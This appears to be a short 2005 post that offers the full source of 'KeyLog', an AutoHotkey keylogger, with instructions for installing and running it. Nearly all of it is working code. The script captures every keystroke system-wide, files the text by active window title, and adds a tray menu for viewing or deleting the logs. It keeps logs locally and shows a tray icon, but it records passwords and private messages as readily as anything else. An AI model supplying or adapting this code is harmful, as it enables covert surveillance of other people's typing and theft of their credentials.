A very simple keylogger!
KeyLog logs written text to files, so put it in it's own folder. Use the tray menu to show and delete logs.
Download and install AutoHotKey from
www.autohotkey.com. Save the script as KeyLog.ahk and doubleclick to run.
Skrommel
;KeyLog.ahk v1.0
;Logs written text to file, use the tray menu to show and delete log.
;Skrommel @2005
AutoTrim,Off
Menu,Tray,NoStandard
Menu,Tray,DeleteAll
Menu,Tray,Add,&Show Log,SHOW
Menu,Tray,Add,&Delete Log,DELETE
Menu,Tray,Add,&Help,HELP
Menu,Tray,Add,E&xit,EXIT
LOOP:
Input,input,V L1
If input=
Goto,LOOP
WinGetActiveStats,wint,winw,winh,winx,winy
filename:=hexify(wint)
IfNotExist,%filename%.log
FileAppend,`n`n[%wint%]`n,%filename%.log
FileAppend,%input%,%filename%.log
Goto,LOOP
SHOW:
Input
FileDelete,KeyLog.txt
FileAppend,,KeyLog.txt
filelist=
Loop,*.log
filelist=%FileList%%A_LoopFileName%`n
Sort,filelist
Loop,Parse,filelist,`n
{
If A_LoopField=
Continue
RunWait,cmd /c type %A_LoopField% >> KeyLog.txt,,Hide
}
Run,WordPad.exe "KeyLog.txt"
WinWait,KeyLog.txt - WordPad,,5
If ErrorLevel=1
{
MsgBox,Can't find WordPad
Return
}
Return
DELETE:
FileDelete,*.log
FileDelete,KeyLog.txt
Return
EXIT:
ExitApp
Hexify(x) ;Stolen from Laszlo
{
StringLen,len,x
format=%A_FormatInteger%
SetFormat,Integer,Hex
hex=
Loop,%len%
{
Transform,y,Asc,%x%
StringTrimLeft,y,y,2
hex=%hex%%y%
StringTrimLeft,x,x,1
}
SetFormat,Integer,%format%
Return,hex
}
DeHexify(x)
{
StringLen,len,x
len:=(len-5)/2
string=
Loop,%len%
{
StringLeft,hex,x,2
hex=0x%hex%
Transform,y,Chr,%hex%
string=%string%%y%
StringTrimLeft,x,x,2
}
Return,string
}
HELP:
Return
